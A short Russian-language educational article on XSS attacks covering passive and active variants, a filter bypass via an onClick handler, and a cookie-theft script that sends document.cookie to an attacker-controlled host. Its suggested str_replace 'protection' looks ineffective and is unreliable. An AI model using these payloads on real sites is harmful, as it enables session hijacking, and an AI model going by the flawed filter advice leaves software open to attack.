Публикация на тему

XSS-атака

XSS, или «межсайтовый скриптинг» — атака на веб-системы, путем внедрения выдаваемую веб-системой страницу вредоносного кода и взаимодействии этого кода с веб-сервером злоумышленника.

Автор
Михалькевич Александр Викторович

Публикация

Наименование XSS-атака

Автор А.В.Михалькевич

Специальность XSS, или «межсайтовый скриптинг» — атака на веб-системы, путем внедрения выдаваемую веб-системой страницу вредоносного кода и взаимодействии этого кода с веб-сервером злоумышленника.,

Анотация

Anotation in English

Ключевые слова

Количество символов 5177

Содержание

Введение

Ранее программисты не уделяли таким атакам должного внимания, считая их неопасными. Однако это не так: на странице могут быть весьма уязвимые данные (например, идентификатор

сессии администратора или номера платёжных документов), а там, где нет защиты от CSRF, атакующий может выполнить любые действия, доступные пользователю. Межсайтовый скриптинг может быть использован для кражи cookie полоьзователей, для создания шела на атакуемом сайте, и для проведения DoS-атаки.

1 О термине "XSS"

Для межсайтовых атак используют термин «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующими сокращение «CSS».

Это такой тип атак, который внедряет в веб-системы вредоносный код, заставляя её выдавать измененные данные за свои.

Существует два направления атак:

Пассивный – это такой вид атаки, который требует непосредственного вмешательства субъекта атаки. Суть заключается в том, чтобы заставить жертву перейти по вредоносной ссылке для выполнения «вредокода». Такой тип атак более сложный в реализации, ведь необходимо обладать не только техническими, но и психологическими знаниями.

Активный – это вид атак, когда хакер пытается найти уязвимость в самом сайте. Нужно при помощи комбинации тегов и символов создать такой запрос, чтобы сайт его понял и выполнил команду. Как только дыра в безопасности найдена, в запрос можно вложить вредоносный код.

Межсайтовый скриптинг может быть использован для проведения различных типов атак, в том числе для создания шела и для DoS-атак.

2 Тетсирование страниц на уязвимость

Если защиты от xss нет, и к сайту подключен jQuery, то такой код, введенный в форму:

```
$('a').attr('href','http://site.com');
```

приводит к тому, что все ссылки на уязвимой странице (т.е. на той странице, где выполняется скрипт) ведут на страницу http://site.com

Использование jQuery упрощает атаку, но в конечном счете, не обязательно.

3 Защита от XSS

Одним из самых простых способов защиты является отключение сктиптов.

```
echo str_replace("s_c_r_i_p_t", "script", $string);
```

Однако, не всегда такой способ подходит. Рассмотрим еще один способ защиты:

```
echo str_replace("<span>script<span>", "script", $string);
```

Таким образом мы разрешаем добавление скриптов, но они становятся безвредными.

4 Обход защиты

Защита от XSS подразумевает запрет использования script. Однако, атаку можно произвести и без тэга script. Рассмотрим пример

Использование события мыши:

```
<a onClick="alert('ok')">Click me</a>
```

5 Кража cookie

Фрагмент кода похищения ключа с идентификатором сессии (session ID):

```
<script>
document.location="http://my_host.com.php?cookie="+document.cookie
</script>
```

Таким образом на my_host.com будут отправлены cookie пользователя.

Заключение

Список использованных источников

1. [Печатное издание] **Web-сервер глазами хакера** Михаил Фленов, bhv, 2007, 275 ст
2. [Печатное издание] **Основы веб-хакинга. Нападение и защита** Юрий Жуков, Питер, 205 ст.

Приложения